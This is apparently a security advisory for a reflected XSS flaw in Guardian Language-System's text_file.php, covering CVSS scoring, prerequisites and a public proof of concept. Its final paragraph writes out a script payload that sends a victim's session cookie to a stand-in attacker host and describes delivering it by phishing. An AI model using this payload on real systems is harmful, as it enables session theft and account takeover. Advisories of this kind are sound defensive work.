Guardian Language-System CVE-2026-34097

Exploitation requires the attacker to hold a valid authenticated session on the Guardian Language-System instance, as indicated by PR:L in the CVSS 4.0 vector - anonymous unauthenticated exploitation is not possible. A second prerequisite is that a separate authenticated victim user must actively follow the crafted URL (UI:A); passive exploitation without victim interaction is not viable for this reflected XSS pattern. The vulnerable attack surface is specifically the id GET parameter passed to text_file.php; no non-default configuration or special server-side feature flag is required - any standard deployment of the unpatched application exposing text_file.php is vulnerable. Exploitation is limited by: mandatory attacker authentication (eliminating external mass-exploitation), required victim interaction (reducing automated exploitation viability), and the need to target users of the same application instance.

The CVSS 4.0 score of 4.8 accurately reflects moderate real-world risk. The attack vector is network-based (AV:N) with low complexity (AC:L) but is gated by two meaningful prerequisites: attacker authentication (PR:L) and victim user interaction (UI:A), both of which materially reduce the attack surface. The CVSS 4.0 impact metrics show no direct vulnerable-system impact (VC:N/VI:N/VA:N) and only limited subsequent-system impact (SC:L/SI:L), consistent with session-level XSS consequences. There is no CISA KEV listing, so active in-the-wild exploitation is not confirmed. However, the publicly available POC on GitHub substantially lowers the exploitation barrier, making this more actionable for less-skilled attackers than the raw score implies. The wildcard CPE version range suggests all deployed versions are affected, with no patched release identified - meaning the exposure window is open-ended until a fix is issued. Organizations should not dismiss this as theoretical solely because of the moderate score; the combination of POC availability and no patch raises practical urgency.

A publicly available POC exists at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad. An authenticated attacker logs into a Guardian Language-System instance, constructs a URL targeting text_file.php with a script-injecting id parameter value (e.g., id=><script>document.location='https://attacker.tld/?c='+document.cookie</script>), and delivers it to a second authenticated user via phishing email or internal messaging. When the victim follows the link while logged in, the injected script fires in their browser session, exfiltrating their session cookie or silently performing privileged actions on their behalf.